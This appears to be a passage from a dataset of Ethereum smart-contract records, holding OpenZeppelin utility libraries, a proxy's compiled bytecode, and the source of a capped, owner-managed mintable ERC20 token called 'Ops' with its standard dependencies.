v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205922121a6d8221ca27c2cb52237b45d49c8ebd660adbb6d8abf90b9c06a46bef64736f6c63430008070033
[ 5 ]
0xf27882f448ca2f09eeed2175539e999afd68d24b
pragma solidity 0.6.2; import "./utils/Ownable.sol"; import "./interface/ERC20.sol"; import "./utils/EnumerableSet.sol"; contract OpsErc20 is ERC20, Ownable{ using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _minters; string private constant TOKEN_NAME = "Ops"; string private constant TOKEN_SYMBOL = "OPS"; uint8 private constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 5000000 * (10 ** uint256(DECIMALS)); uint256 public constant INITIAL_CAP = 100000000 * (10 ** uint256(DECIMALS)); uint256 private _cap; constructor() ERC20(TOKEN_NAME,TOKEN_SYMBOL)public { require(INITIAL_SUPPLY <= INITIAL_CAP); _mint(_msgSender(), INITIAL_SUPPLY); _cap = INITIAL_CAP; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function mint(address account, uint256 amount) public onlyMinter { require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, amount); } function addMinter(address _addMinter) public onlyOwner returns (bool) { require(_addMinter != address(0), " _addMinter is the zero address"); return EnumerableSet.add(_minters, _addMinter); } function delMinter(address _delMinter) public onlyOwner returns (bool) { require(_delMinter != address(0), "_delMinter is the zero address"); return EnumerableSet.remove(_minters, _delMinter); } function getMinterLength() public view returns (uint256) { return EnumerableSet.length(_minters); } function isMinter(address account) public view returns (bool) { return EnumerableSet.contains(_minters, account); } function getMinter(uint256 _index) public view onlyOwner returns (address){ require(_index <= getMinterLength() - 1, "index out of bounds"); return EnumerableSet.at(_minters, _index); } // modifier for mint function modifier onlyMinter() { require(isMinter(msg.sender), "caller is not the minter"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; import "./IERC20.sol"; import "../utils/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
